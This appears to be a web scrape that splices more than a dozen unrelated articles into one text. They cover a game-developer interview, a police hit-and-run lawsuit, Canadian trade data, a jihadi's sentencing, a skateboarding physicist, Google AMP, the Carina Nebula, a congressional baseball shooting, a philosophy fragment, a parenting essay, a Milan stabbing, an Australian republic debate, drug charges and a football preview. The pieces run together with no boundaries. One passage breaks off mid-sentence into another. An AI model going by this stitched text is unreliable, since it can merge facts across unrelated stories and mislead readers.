Varian is currently most notorious for being dead. How do you deal with that and a new Hero release?
How does Varian's multi-hero typing make drafting more complex?
Was Varian inspired by Kharazim, a "Multi-class lite" hero?
Is Varian a Master-of-None, Jack of all trades hero?
Varian's High Kings quest talent-- The future of quest talents?
Are you satisfied with an Apples to Apples, Oranges to Oranges talent philosophy
The overwhelming presence of Heroes like Samuro and Ragnaros-- good for the game?
Double warrior meta-- Muradin and E.T.C balance
What type of playstyles are the new maps and new battlegrounds looking to revive?
About the developers
Mathew Cooper's primary role is leading the balance team. This group is responsible for running play tests and collecting feedback from testers; the balance team uses this data to adjust different aspects of the game, ensuring a consistently fun and balanced experience for players.
Nathan LaMusga's main priority is “finding the fun” in the company’s online team brawler. It’s his job to make sure that players are having the most fun with whatever content he’s working on. Broadly, he’s responsible for gameplay, but specifically, he works on designing new Heroes. His focus is on the core kit, the fantasy, and the mechanics of the Hero, and how that Hero relates with other Heroes in the game. His process involves writing out a pitch, iterating on it, and overseeing that Hero’s implementation.
Follow us on Twitter @GosuGamersHotS and on Facebook for more competitive Heroes of the Storm news and coverage from around the world.
QUICKPOLL Which hero excites you the most? Die, insect!
Thank you for voting! For the Alliance!
Thank you for voting!Albuquerque police carried out a “fraudulent” investigation into a drunk, on-duty police officer who killed a woman in a hit-and-run after leaving a bar, a lawsuit filed in a New Mexico court states.
On April 6, 2008, Sgt. Andrew Gallegos left an Albuquerque bar where he had been drinking while on duty, got into his pick-up truck and ran over 47-year-old Vera Ann Haskell, says the lawsuit (PDF) filed by Haskell’s family.
Gallegos then allegedly fled the scene without notifying police or emergency responders. Haskell died soon afterward.
According to the lawsuit, when investigating officers identified Sgt. Gallegos on security camera footage, they notified Gallegos and even granted his request for a five-hour delay in the investigation.
“Sergeant Gallegos was supervising and directing the fatal investigation even after he was APD’s primary suspect,” the lawsuit states. “This conduct shocks the conscience.”
Haskell was allowed to supervise the investigation for more than a day before the matter was turned over to the department’s Criminal Investigations Division, the lawsuit asserts. Two days passed before police searched Gallegos’ home, and before they formally interviewed him for the investigation.
According to news reports at the time, Haskell had no fixed address and was struggling with an alcohol problem at the time of her death. She was reportedly passed out next to Gallegos’ pick-up truck when he ran her over as he left the parking lot.
According to the PoliceCrimes.com forum, Gallegos was charged in December, 2008, with evidence tampering and leaving the scene of an accident. He was suspended without pay pending the outcome.
In April, 2009, a judge ruled that Gallegos had committed no crime in the incident.
But the Haskell family’s lawsuit says the sergeant was given inside information that “was used by Sergeant Gallegos to concoct an alibi and defense.”
They are suing Gallegos, the city of Albuquerque, the Albuquerque Police Department and the bar where the incident took place.Canada has trade relations with 224 countries and territories, with which it trades more than 5,500 types of products and services. In 2014, Canada imported $511 billion in goods, and exported $525 billion, according to data from Statistics Canada.
But who are our main trading partners, and what kind of goods flow back and forth between us? The data I got from StatCan (get the data here) answers some of those questions. It details the amount and value of every product imported to and exported from Canada, for every trading partner, since 2009.
Let’s first see the big picture. The map below illustrates these relations with 180 countries (those big enough to be visible on a map). Use the buttons to switch between imports and exports, and to visualize either the average annual trade for each country, or the most traded product by value.
Note: The product names on the map follow the HS6 (Harmonized System) convention of the Word Customs Organization. These many contain acronyms like “adpm” (automatic data processing machine – a computer), and “nes” (not elsewhere specified). For a full glossary of terms, consult Industry Canada.
Map: Canada’s trading partners
Hover/tap over each country for details.
We all know that the United States is Canada’s main trading partner. It shows on the map; it’s one of the darkest shaded countries, along with China. What the map doesn’t show is just how big a trading partner it is. Shades of blue aren’t very good at conveying values.
The interactive chart below, showing the change in trade since 2009 with Canada’s top 20 trading partners, fixes this. Use the filter above the chart to include and exclude the US.
In 2014, Canadian exports to the U.S. were more than 20 times higher than to China, the second largest importer of Canadian goods, and imports from the U.S. were almost five times higher than from China.
Why did the U.K. go from second to third biggest importer of Canadian goods in the last few years? Gold, mainly. Gold is the top Canadian export to the Commonwealth motherland, and it dropped from $11.7 billion to $7.6 billion between 2012 and 2013.
Other top exports to the UK include diamonds, nickel, and uranium.
Canada imports from itself?
If you explored the interactive import chart above, you may have noticed that Canada is one of the top 20 countries that Canada imports from. In 2014, Canada imported $3.6 billion worth of goods from itself.
Huh?
A spokesperson for Statistics Canada explains that these are re-imports.
“These are goods, materials or articles that are imported in either the same condition in which they were exported or after undergoing repair or minor alterations (e.g., blending, packaging, bottling, cleaning or sorting) that leave them essentially unchanged,” Isabelle Raymond from StatCan told me.
The most re-imported goods, according to the data, are containers, aircraft parts, aircrafts, and engine parts.
The top-traded products for each country
And what goods are being traded the most with our partners? Explore this in the chart below. You can filter by country for each one.
If you look at the top imported and exported products overall, the same four goods occupy the top four spots on both lists: crude oil, two classes of vehicles, and unwrought non-monetary gold.
Just as Canada exports Canadian-made cars, it also imports a bunch: cars are the top imports from Japan, Korea, and Germany.
Peru and Argentina are the top gold-exporting countries to Canada, while the U.K and the US are top buyers from Canada.
Single-product nations
Although Canada has diverse trade relations with most countries, there are a few where a single product dominates most of the trade.
These are the countries for which the top-imported product represents 99% or more of all imports, by value.
Algeria : crude oil
: crude oil Angola : crude oil
: crude oil Azerbaijan : crude oil
: crude oil Equatorial Guinea : crude oil
: crude oil French Southern Territories : aircraft parts
: aircraft parts Iraq : crude oil
: crude oil Mongolia : gold
: gold Sudan: gold
Do you have any question about the data? Any bits worth looking into? Leave your thoughts in the comments.
Want to explore the data yourself? Download it here.Imran Khawaja, who fled home from Syrian training camp, is a risk to public after he appeared in videos promoting Islamic State cause, judge rules
British jihadi who faked his own death to return to UK is jailed for 12 years
A British jihadi, who appeared in “horrific and deeply disturbing” propaganda videos and faked his own death so he could return to the UK from a Syrian training camp, has been jailed for 12 years.
Imran Khawaja, 27, nicknamed “Barbie”, posed with severed heads, dead fighters and child soldiers during a six-month stint with Rayat al-Tawheed (RAT) insurgents in Syria last year.
But he told friends he had “had enough” of the conditions, and had complained about the lack of toiletries, cocoa butter, and condoms for the “war booty”.
The former immigration centre worker, from Southall, west London, was stopped by port officials at Dover trying to gain re-entry to the UK after telling friends he needed to raise further funds to support the RAT cause.
The bodybuilder pleaded guilty to preparation of acts of terror, for which he was sentenced to a 17-year extended term, comprising a 12-year custodial term before being released on licence. He will serve a minimum of eight years. He was also given seven-year terms for attending a terrorist training camp and for weapons training, and an 11-year term for possession of an article for terrorist purposes, which will all run concurrently.
Sentencing him at Woolwich crown court, judge Jeremy Baker described him as a “willing and enthusiastic” participant in the videos posted online for Islamic State’s propagandist arm.
Dismissing Khawaja’s claims that he had come home to see his family and that he had regretted his actions, the judge said he presented a risk to the public. “It is clear in the last few years you have been showing an increasing interest in Islamic jihadist material. You took part in the production of films designed to promote the Islamic State cause and encouraging UK Muslims to join you in jihad. Your interest was sufficiently profound for you to travel to Syria to train for jihad. I’m also satisfied, by the time you decided to return to the UK, you had completed your terrorist training,” he said.
Khawaja showed no emotion as he was led from the dock. His counsel, Henry Blaxland QC, said Khawaja had a very low IQ and had been “indoctrinated” in the months before he travelled to Syria in January 2014.
Khawaja had resisted his family’s pleas for him to return to the UK. In messages to friends and relatives, he repeatedly lied about when he was coming home before confiding he was there to die a martyr, the court heard.
In one text exchange with his sister Azmeena, he told her to tell his family that he was doing charity work – “driving an ambulance der [Syria] or sumtin” (sic).
In reality, he was whipping up domestic support for his cause by appearing in harrowing footage and speaking publicly about his desire for actions. In one section of footage played to the court, prosecutor Brian Altman said, Khawaja could be seen picking up severed heads from the back of a flatbed truck and saying: “Heads. Kuffar (non-Muslims). Disgusting”.
His family tried to tempt him home by texting pictures of English food. At one stage Azmeena threatened to travel to Syria herself to fetch him.
At the time of his return, a series of newspaper articles published from 3 June reported Khawaja’s death based on RAT posts on Twitter and Instagram, which announced he “was killed in battle a few nights ago.” Those postings provided cover for his return to the UK on 3 June, said Altman.
When he was stopped at Dover he was with an older cousin, Tahir Bhatti, who had gone to rescue him, the court heard. The two were arrested when Bhatti, 43, a taxi company owner from Watford, Hertfordshire, admitted to border staff that the “road trip” the two purported to be returning from, was actually a rescue mission.
During his time in Syria, Khawaja told friend Asil Ali he needed toiletries and loo roll, and Ali sent a message to a friend saying Khawaja “needs cocoa butter, toothpaste, soap and condoms for the war booty”.
The prosecution said the messages between Khawaja and Ali hinted that he was returning to the UK to help with fundraising as his friends back home had failed to do so. Ali, 33, of Ealing, west London, pleaded guilty to entering into a funding arrangement for the purposes of terrorism after handing Khawaja £300, and was sentenced to a 21-month custodial term. Bhatti was also given 21-months for assisting an offender, reduced to 95 days for time spent in custody awaiting trial.
In a note to the judge, Khawaja said he had “nightmares” about his time in Syria and urged “the young men of Britain” not to “make the same mistake” he had.
Outside court, Commander Richard Walton of the Metropolitan police described the images and video footage of Khawaja in Syria as “horrific and deeply disturbing”.
“Khawaja chose to become a terrorist, engaged in weapons training in a terrorist training camp and faked his own death in order to conceal his entry back into the UK,” said Walton.
“This sentence sends a powerful message to those who plan or prepare acts of terrorism overseas or here in the UK.”
Deborah Walsh, from the Crown Prosecution Service, said: “Imran Khawaja’s actions are one of the most appalling examples of violent extremism that I have seen committed by British jihadis returning from Syria.
“Photos and videos of Khawaja posing with child soldiers and severed heads defy the understanding of civilised people and paint a picture of a man who would stop at nothing to spread terror and hatred.”Skateboarding Physicist Seeks a Unified Theory of Self
DavidMarsh 28.JPG The skateboarder’s t-shirt, drenched with sweat and in constant motion, is difficult to decipher. The white lettering scrawled across its black fabric resembles a jumble of graffiti, or perhaps the logos of skateboard companies.
Only when the skateboarder comes to a rare stop – actually a wipeout (or slam, in the lingo), which leaves a thin layer of his elbow skin on the concrete – does the t-shirt become legible. Legible to the trained eye, that is.
“It’s the equations of the Standard Model of particle physics,” explains David “Doddy” Marsh, apparently unfazed by his quickly reddening elbow. “The shirt’s from CERN.”
He adds: “It’s the only clean shirt I had today.” Then he’s off again, plunging into the concave belly of the skate park before launching skyward from one of its many ramps. He seems to hang in the air, suspended for an extra microsecond as if in defiance of the relentless gravitational force he understands so thoroughly.
DavidMarsh 26.jpg In the middle distance behind him, mostly obscured by a grove of poplars, stands his workplace, the Perimeter Institute for Theoretical Physics. It’s where, as a postdoctoral researcher, he spends the majority of his days trying to unravel the mystery of dark matter, the invisible glue of the universe.
Theoretical cosmology is the yin to his skateboarding yang.
For Doddy Marsh (“Only my mum calls me David”), skateboarding and theoretical physics are two halves of his whole – sometimes complementary, sometimes in opposition, both essential.
Just as quantum mechanics and general relativity provide a near-complete framework of reality while their unification remains an elusive moving target, skateboarding and physics simultaneously define and beguile Doddy.
Each of his passions is fuelled by eureka moments of tantalizing success – a new trick mastered, a new solution found to a previously vexing problem – and each offers an inexhaustible supply of new challenges.
His scuffed elbow and battered ankles are analogous to the unfinished papers and half-written computer programs in his second-storey office just down the road – all reminders that there is much more to be learned, more mastery to be achieved.
Doddy careens around a curved wall of the skate park before skidding to a halt at his water bottle. Between gulps, he says something rarely (if ever) heard at skateboard parks: “Today, I was trying to figure out a heuristic explanation for suppression of clustering power of axion dark matter, and how it is related to the densities of dwarf spheroidal galaxies.”
It’s a mouthful even by theoretical physics standards, and it’s just as tricky to explain as it is to say.
He has come to the skate park to wipe clean his mental chalkboard. Sometimes, the most vexing problems are best solved by focusing on something completely different for a while − frontside ollies and smith grinds, in this case.
“Skateboarding teaches perseverance, because it’s damn hard,” says Doddy. “Physics is notoriously hard too, but maybe the fact that I struggle all the time in skateboarding makes struggling with some maths problem seem less consequential.”
Skateboarding makes physics easier? It’s a counterintuitive notion, but Doddy is accustomed to counterintuitive notions. And for him, it’s a realization borne out of many years of trial and frequently painful error.
***
DavidMarsh 13.jpg On Christmas morning, 2000, 13-year-old Doddy Marsh unwrapped the gift he’d been begging for: his first-ever skateboard. Like countless kids of his generation, his exposure to skateboarding had come through the PlayStation game Tony Hawk’s Pro Skater, and he assumed he’d be replicating its death-defying virtual stunts for real in no time.
He was wrong.
He had already shown a natural aptitude for mathematics (both his parents were math teachers, which surely helped), but the ability to calculate a hypotenuse and the ability to boardslide down one, in the form of a real-world handrail, proved quite different. What served Doddy well on both fronts was a dogged, almost obsessive, determination to leave no problem unsolved.
He immersed himself in Liverpool’s legendary skateboarding scene, careening with friends around the endless obstacles provided by the city’s industrial decay. He learned from veterans of the scene at Pier Head, the city’s skateboarding epicentre on the banks of the River Mersey.
He built a makeshift skate park in his parents’ back garden with materials “borrowed” from local construction sites, and filmed videos with his buddies performing ever-more intricate tricks, accompanied by thumping soundtracks of hip-hop and punk.
His studies, meanwhile, never flagged. On the contrary, skateboarding brought mathematics and physics into sharper resolution in his mind.
“When I was about 16, I was learning in school for the first time about simple harmonic motion and resonance and natural frequencies,” he recalls. “That’s when skateboarding first helped me understand a physical concept.”
What he realized is that a skateboarder rolling up and down the sloped walls of a halfpipe is analogous to a pendulum, its tick-tock an expression of its period of oscillation, or natural frequency
“There’s a natural frequency determined by geometry,” says Doddy. “The halfpipe, too, has a fixed geometry – the radius of curvature of its transitions – that defines a natural frequency.”
Eventually, he saw that there’s a well-defined (classical) physics concept for something every skateboarder knows intuitively: “Tight transitions are whippy.” The natural frequency is larger when the geometric quantities are smaller – or, put another way, the smaller the pool or halfpipe, the more rollercoaster-like “whip” the skateboarder feels careening around its curvature.
Through his high school years, Doddy poured his energies equally into mathematics and skateboarding, finding ever-deeper parallels between them. Pumping his legs to gain momentum within a ramp became a “resonance response putting energy into a physical system.” Jumps and tricks became experiments in inertia and friction and elasticity. Learning how to fall without breaking his wrist (again) became an experiment in angular momentum and velocity.
Of course, when he’s actually in the midst of a new trick, instinct and reflex kick in, overriding the analytical parts of his brain and firing the reactive, instinctual synapses. It’s that interplay of applied physics and pure physicality that makes skateboarding such a deeply satisfying activity for Doddy.
“It’s meditative,” he says. “When I’m stuck on a problem, I often grab my board and skate. By the time I come back, the answer has made itself clear.”
***
Doddy1.jpg Every skate park, like every physics problem, poses its own unique set of challenges, its own promise of a new skill or realization.
In the balmy pre-dusk of an August evening, Doddy is in the sleepy town of Wellesley, best known for its annual Apple Butter and Cheese Festival. It is 20 minutes and a world away from Perimeter Institute, where Doddy has spent the afternoon grappling with the detectability of ultra-light axionic dark matter
The Wellesley skate park – really just a parking lot in which a local skateboarder built an impressive wooden halfpipe – is empty, save for the ketchup-soaked French fries a previous visitor spilled beside the ramp.
Warming up, Doddy glides effortlessly up and down the sides of the halfpipe, like a marble dropped in a bowl. Then, with well-timed pumps of his legs, he drives energy into the physical system, searching for the resonant peak of the ramp’s curved geometry. Moments later, he’s skimming the lip of the ramp.
His goal is to execute a perfect rock ‘n’ roll – a fundamental skateboarding trick in which the front wheels crest the lip of the ramp, the board teeter-totters for a moment at the top, and then plunges back down, preferably with rider intact. He wants to nail it, partly because there’s a photographer present, but mainly because he refuses to leave a self-imposed challenge unaccomplished.
What bigger challenge, after all, could there be than the one he was tackling just an hour ago – explaining the origins, growth, and ultimate fate of the universe?
Maybe his current professional fixation, determining the true nature of dark matter – the mysterious stuff that makes up a quarter of the universe’s energy density – will prove as elusive as the inward heelflip, a trick Doddy has yet to successfully execute.
Then again, the rock ‘n’ roll atop a halfpipe seemed impossible when Doddy rode his first skateboard at age 13, but now, with a giddy yelp of satisfaction, he nails one (and is doubly pleased to learn the camera caught the moment).
He takes a breather atop the ramp, wiping his glistening brow with his left forearm, which is tattooed with a stylized version of the Anti-Hero Skateboards logo. His other arm is currently inkless, but he’s considering having it adorned with the Friedmann-Robertson-Walker metric, which describes the expansion or contraction of the universe.
“That would make for good balance,” he quips, only half-joking.
Skateboarding and physics are the two halves of a complex equation, and Doddy is the equals sign in the middle. There are plenty of other variables in his life, of course – music, art, Buddhism, travel – but they are always calculated against the constants.
That, as the saying goes, is just how he rolls.
“Skateboarding and physics give me very different things in my life, but they come together in really interesting ways.”
– Colin HunterAdvertising Age Player
Some publications already have AMP live. At the Guardian, for example, type "/amp" at the end of a URL to see the AMP format. Credit: Google
It's a challenging time for the mobile web. Apps are dominating consumers' time on the devices they carry, and ad blockers are spreading as people try to speed up the mobile web browsing they must do.
But later this month, Google will try to hit reset on all that. It is finally ready to go wide with its Accelerated Mobile Page initiative, allowing any participating publisher to deliver content at lightning-quick speed through the mobile web.
Google's push will surely change the media landscape for both consumers and anyone with a stake in digital advertising. The Accelerated Mobile Pages effort, better known as AMP, is a direct response to similar but proprietary platforms like Facebook's Instant Articles and Apple's News. Unlike them, however, AMP is open source, meaning anyone can use it. And it works for the web, where Google wants consumers to stay, instead of rivals' apps.
In short, AMP is like a diet version of HTML. It is extremely fast and incredibly quick when it comes to loading. JavaScript is essentially non-existent, for now at least, and images won't load until they're in the user's view. AMP will also deliver content much faster because it will be cached via the cloud, meaning Google won't have to fetch it from a publisher's site each time a request is made.
The end result is a near instantaneous content delivery system.
Come launch, publishers will be able to track analytics and sell ads. Solutions for paywalls were put into place Tuesday. And, crucially, Google favors faster* sites over others with the same search score in the results it shows consumers, said Richard Gingras, senior director, news and social products at Google.
"Clearly, AMP takes speed to a point of extreme," Mr. Gingras said. "So, obviously we look to leverage that. Again, it is only one signal. AMP doesn't mean adopt AMP and get a massive boost in search ranking. That is not the case. All of the other signals need to be satisfied as well. But without question speed matters. If we had two articles that from a signaling perspective scored the same in all other characteristics but for speed, then yes we will give an emphasis to the one with speed because that is what users find compelling."
AMP articles will be accessible from Google search, Twitter, Pinterest, LinkedIn or, potentially, anywhere online.
While technological advancements have enhanced online user experiences in many ways, they've also inflated the average web page to 2 to 10 megabytes. "That is huge but slow," Mr. Gingras said. "This is a problem when you are talking about a world that is becoming more and more mobile."
The entire project, from hatching out the idea to rolling it out globally, has taken about nine months. When it first started, AMP had several dozen publishers on board, but now boasts "hundreds if not thousands," Mr. Gingras said.
"Talk is one thing, but delivering on that talk is another," Mr. Gingras said. "The depth of collective collaboration that has happened here has been historical."
Publishers' new landscape
To overhaul the mobile web in such a short time, Google needed to get top tier publishers and ad tech vendors on board.
New York-based Kargo, which is one of about 20 AMP approved ad tech vendors, has been working with publishers like the New York Times, Washington Post and Hearst to prepare for AMP's launch.
"There is a sense among publishers that they messed up on desktop," said Kargo President Ryan McConville. "They felt they didn't innovate fast enough for desktop and that they got left behind. Now, Snapchat's Discover platform comes along. Facebook Instant Articles comes along. AMP comes along -- publishers will now try everything. But it doesn't mean they're really happy about it. They are just trying because they don't want to miss the bus as it's leaving a station."
Allen Duan, office of the chief technology officer at Hearst, has described being on so many different platforms as a continuous evolution of distribution. "We are figuring this out," Mr. Duan said. "The number of partners we are working with, if you look at the ad tech companies, has been growing immensely."
Mr. Duan said the platforms on which consumers encounter Hearst content have expanded significantly over the past three years. So have the costs involved, as Hearst has been forced to hire more engineers, user experience and product and editorial staff.
Still, readership has also grown, Mr Duan said.
Readers who prefer light-hearted content can visit Hearst through Snapchat Discover while those who are seeking more traditional news information might use their mobile web browser, for example.
Mr. Duan added that Hearst is excited about delivering video through AMP in the near future, and seeing how that plays out.
"We don't see it as an 'or' we see it as an 'and,'" said Julia Beizer, director of product at the Washington Post. "Our fundamental belief is that experience will always win. Consumers will gravitate to experiences that load quickly. We have been really excited to work with Facebook, Apple and Google -- there are opportunities in each of them."
~ ~ ~
CORRECTION: An earlier version of this story incorrectly said Google would favor AMP sites in search results over others with otherwise identical scores. Google will simply favor faster sites. We regret the error.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2007 October 27
The Great Carina Nebula
Credit & Copyright: Robert Gendler and Stephane Guisard
Explanation: A jewel of the southern sky, the Great Carina Nebula, aka NGC 3372, spans over 300 light-years, one of our galaxy's largest star forming regions. Like the smaller, more northerly Orion Nebula, the Carina Nebula is easily visible to the naked eye, though at a distance of 7,500 light-years it is some 5 times farther away. This stunning telescopic view reveals remarkable details of the region's glowing filaments of interstellar gas and dark cosmic dust clouds. The Carina Nebula is home to young, extremely massive stars, including the still enigmatic variable Eta Carinae, a star with well over 100 times the mass of the Sun. Eta Carinae is the bright star left of the central dark notch in this field and just below the dusty Keyhole Nebula (NGC 3324).Democrats preparing for the Congressional Baseball Game on Wednesday prayed for their Republican colleagues after at least five people were shot at the GOP team's practice.
Rep. Mo Brooks Morris (Mo) Jackson BrooksCongress just proved there is hope for honest discussion on climate Coulter slams Trump as 'lazy and incompetent,’ says he could face primary challenger Dems press Pentagon officials to explain why troops are still at border MORE (R-Ala.) told CNN that House Majority Whip Steve Scalise (R-La.), two Capitol Police officers on protective detail and unidentified staffers were shot.
Brooks said Scalise was shot in the hip and was "dragging his body" to get away from the shooter.
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“My heart is heavy right now,” Rep. Pete Aguilar (D-Calif.) said on Twitter. “We just said a prayer for our colleagues and are holding to leave Dem baseball practice.”
Our Dem baseball team was practicing when we heard news. We're safe & with police, everyone praying for GOP colleagues, staff & Cap police — Rep. Jared Huffman (@JaredHuffman) June 14, 2017
My heart is heavy right now. We just said a prayer for our colleagues and are holding to leave Dem baseball practice. — Pete Aguilar (@aguilarpete) June 14, 2017
At baseball practice, hearing about the unthinkable horrific news. Practice shut down. Dems join-in prayer for our R colleagues & those hit. https://t.co/FJVWDgMpF6 — Nanette D. Barragán (@RepBarragan) June 14, 2017CHARACTERISTICS OF THE EXCHANGE ABSTRACTION IN ANCIENT GREECE: THE HOMOLOGIES
The account we have given of the correspondence between the exchange abstraction and the abstract categories of Platonic thought have so far been expressed in rather general terms. If this relation is real, it should be possible to spell it out in more detailed terms. Sohn-Rethel (1978) has risen to this challenge, and we shall now present the set of homologies between seven of the canonical set of basic categories, for which he has found corresponding aspects of the exchange abstraction.
Solipsism The doctrine according to which “I alone exist” (solus ipse) is a leading leitmotiv of Western philosophy. This doctrine reached the summits with Descartes and Berkeley. In Descartes’ famous “Cogito ergo sum,” the “self” in question guarantees its own existence – the very idea would collapse if the “existence” in question extended to anything other than the subject of the cogito. Berkeley deliberately pushes this solipsism to a provocative limit with his “Esse est percipi”: “to be” is neither more nor less than being perceived. In other words, it is not only other subjects but the whole world which only exists to the extent that I perceive it. With his usual clarity, Kant summarizes the apodictic character of solipsism: “there is no foundation |
wife is a much better skater, I take my daughter out onto the ice for the first time. I try to link it to one of those conversations about trying new things. “I think this is a metaphor,” she cracks. Once we get going, she’s irritated that she’s not immediately awesome. She falls a lot and gets frustrated, but she powers through. In the end, she’s looping the rink, thrilled. She wants to go again tomorrow. She wants to take lessons. She’s making plans and drawing conclusions. “It’s easier to learn if you haven’t learned before,” she says.
Wise, grasshopper. It’s true of parenting too. So I’m trying to be alive to the child of the moment and not bound by my previous view of who they were. I discover, for example, that my son has learned to banter, a key life skill. During a conversation in which I’m trying to gently put a name to the pompous behavior of a person we both know, he gets it immediately. “Nice to meet you,” he says holding out his hand. “I’m very fascinating.” At work I get a text: “Hi Dad. I got the text to work. I made an ID and am testing to see if it works.” Me: “How did you get around the age requirement?” Him: “It’s me, from 1988.” Me: “I’ve lost you to the dark side.” Him: “I’m an old man now.”
Sometimes both the old and new show up at the same time which is what happens when my son insists that we stop at the same burger place we do every Christmas break. It’s just the two of us—and a couple of red mesh plastic baskets—behaving like Bart Simpson. He tries to steal the change in a way he knows will get him caught. He hides my drink. We play rock-paper-scissors to pick who has to get up and get some napkins. (When he loses he wants to play two out of three.) There was no great weight in our lunch except that unrestrained 10-year-old joy and laughter is so pure it’s amazing they didn’t make cave paintings about it. For a minute I’m 10 again too and I have the coolest walk.
Re-entry mostly teaches you what you already knew about parenting but forget every day because you’re greedy. Connecting with kids is like trying to connect with the Wi-Fi on the Amtrak train. The signal is mostly a trickle. Sometimes it doesn’t even exist. You’d like to fix it, but it’s not in your control. Their lives are moving along and you’re just a passenger. The best you can hope for is to enjoy the scenery and be ready when the signal gets strong. Then, you can get a pretty good download for a little while until the train moves to a new place.
Two weeks after the election I joined my daughter for a 5K race. I hadn’t run for two years. My feet don’t like it one bit. I also hadn’t worked out in the previous six weeks. I figured my lack of preparation was OK though because I’d seen my daughter run last summer. This was going to be a casual jog and probably some walking. The bell went off and we were clotted behind a bobbing and stationary pack. I looked down to tell her that things would clear up but she was already gone. She’d run off the road and was passing people on the grass. I sprinted to catch up. She never let up this pace. At the finish line I was red faced and regretting every cigarette I’d smoked in college. I asked her if she wanted to hold my hand as we crossed the finish line. She smiled, said no, and sprinted ahead of me. I think this is a metaphor.Photo Credit: Google Maps
A 40-year-old Chabad Hasid, identified as Natan Graf, was stabbed between three to nine times in the head by a terrorist, while walking on the street in a Jewish neighborhood of Milan, Italy.
The injured Jewish man is currently in the hospital and is listed in light to moderate condition.
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He was attacked outside of Carmel Pizza, a kosher pizzeria on via San Gimignano, which is right next to a Jewish school, Scuola Comunita Israelitica.
The terrorist stabber is a female Arab who attempted to flee the attack site but was captured.
Shortly after the attack there was a bomb scare outside the re Salomone kosher restaurant on via Sardinia, but it turned out to have been based on a false rumor.
The stabbing victim’s name is Natan ben Chana Sara, and prayers for his recovery are encouraged.
He lives in Milan and holds Israeli citizenship.The Queen's representative in Australia, Governor-General Quentin Bryce, has declared support for Australia becoming a republic in an extraordinary speech which is set to reignite debate about the nation's ties to Britain.
Ms Bryce became the first Governor-General to back an Australian republic – a position which puts her at odds with prime minister, Tony Abbott, who is a staunch monarchist.
In an unusual foray into two contentious political debates, Ms Bryce, the first female Governor-General, backed an Australian head of state and voiced support for same-sex marriage – a position that Mr Abbott, a devout Catholic, also opposes.
Ms Bryce used just a few brief words during a speech in Sydney on Friday to lend a remarkable throw of support for a constitutional change that would annul her position. Significantly, she made her comments at the very end of a four-part lecture series. Immediately, the national media seized on the utterance as an historic declaration.
After expressing her hope that Australia would become a nation where "people are free to love and marry whom they choose", she added: "And where perhaps, my friends, one day one young girl or boy may even grow up to be our nation's first head of state."
Republicans seized on Ms Bryce's comments to push the issue, which has largely fallen off the political radar in Australia in recent years.
"We will always be friends with Britain, but now we should be equals," said Geoff Gallop, the head of the Australian Republican Movement.
"We need an unambiguous, independent national identity that reflects and celebrates our freedom, our unity, our values of the fair go and our place in the world."
However, Ms Bryce's decision to publicly raise the issue was called into question by an MP, Kelly O'Dwyer, who is a member of Mr Abbott's Liberal party and supports a republic.
"It's highly unusual for a currently serving Governor-General to advocate for a republic," she said.
Ms Bryce, 70, a distinguished lawyer and former state governor of Queensland, was appointed by former Labor prime minister Kevin Rudd and has been a popular and widely-respected Governor-General, known for her poise, grace and unfailing good nature.
The Governor-General represents the Queen in Australia and has extensive constitutional powers that extend to the ability to dismiss the sitting prime minister. In effect, however, the Governor-General is expected to act on the advice of the government and the role is largely ceremonial.
Ms Bryce has largely stayed out of politics but found herself in an awkward position last month when her son-in-law, Bill Shorten, was elected Labor leader. Ms Bryce offered to resign because as Governor-General she has the constitutional power to dismiss the prime minister and install Mr Shorten, who is married to her daughter Chloe.
However Mr Abbott rejected the offer and insisted she had been an "exemplary" Governor-General. He said she had added a "gracious note" to the position and should complete her term. She is due to retire in March next year after the traditional five years in the role.
Mr Abbott, a London-born Oxford graduate, may come to regret his comments as Ms Bryce's speech immediately triggered renewed discussion about Australia's constitutional ties to Britain. A 1999 referendum on whether Australia should become a republic was defeated – and Mr Abbott, then a junior minister, was one of the most vocal opponents of the change.
Ms Bryce's historic comments came at the very end of her fourth and final speech in the Boyer Lecture series - a 54-year-old set of annual speeches akin to Britain's Reith Lectures. Previous speakers have included Rupert Murdoch and former prime minister Bob Hawke.
The comments drew an immediate and largely supportive response on social media.
"Can we make Quentin Bryce our first President already," said one tweet.
Another said: "I knew I loved Quentin Bryce for a good reason and not just due to her being a powerful female role model." A strong advocate of women and one of Australia's first female barristers, she called for women's contributions to society and the workplace to be valued equally to men's and for a "fairer Australia" that "regards giving as a natural way of living".
"I suggest a nation where an ethic of care guides the way we lead. Where the young, the elderly, indigenous, the newly arrived, people with disabilities, are treated with dignity and respect," she said.A Cedar Rapids woman is facing a slew of felony and misdemeanor drug charges after police found a smorgasbord of drugs and paraphernalia in her car early this morning.
Megan Eileen Costello was pulled over at 1:26 a.m. near the intersection of Highland Avenue and Highland Court in Iowa City, and officers discovered she had a revoked license, according to a criminal complaint.
Upon further investigation, police noticed an odor of marijuana coming from the car, and a subsequent search turned up more than 100 grams of marijuana, more than 30 grams of cocaine, three grams of heroin, 17 hits of LSD and several prescription medications, according to the complaint.
Officers also found packaging materials, a digital scale, and several cell phones.
Costello faces seven felony drug possession or tax stamp charges along with serious and aggravated misdemeanor charges. Shes being held in the Johnson County Jail, although a bond amount has not yet been set.
Costello doesnt have an extensive criminal history in Iowa, although she does have one prior drug conviction in Linn County, according to online court records.New Hornets signing Alessandro Diamanti is ready to make this Watford debut against Southampton tomorrow but Nathan Ake may have to be content with a place on the bench.
Both players have joined the Hornets on season-long loans in the ten days.
Italian international Diamanti, who has spent the past three weeks training with the Golden Boys, has arrived from Chinese club Guangzhou Evergrande while Ake has made a temporary switch from Chelsea.
Watford head coach Quique Sanchez Flores was asked on Thursday if the duo are likely to face the Saints at Vicarage Road, he said: “It is important our players know the system before they walk onto the pitch. I don’t want any surprises on the pitch.
“Every day we work very hard to be ready for the next match. Diamanti has worked with us for more than two weeks. He is ready.
“Ake has trained with us for only a week. He has come in a little bit late and has to learn the structure of the team.
“But he is a clever guy and has good qualities. He wants to improve here at Watford. I am happy he will stay here this season with us.”
Defender Miguel Britos and goalkeeper Giedrius Arlauskis are also available for selection after both missed the opening two matches of the season due to suspension. Joel Ekstrand (knee) is the only player ruled out by injury.
While the Golden Boys are yet to be beaten in the Premier League this season they’ve also yet to taste victory.
There are certainly easier sides than Southampton to face if you’re trying to secure your first win of the campaign but does the fact Ronald Koeman’s side were in Europa League action on Thursday give the Hornets an advantage?
“For English teams it is difficult. Teams in England use a lot of energy in every single match. So the recovery after matches is not easy,” Flores explained.
“When we are preparing for a game we try we imagine facing their best team. We never underestimate. I would like to thing we are going to play against the strongest Southampton side possible.”
Watford have come up against two very different sides so far in the top flight.
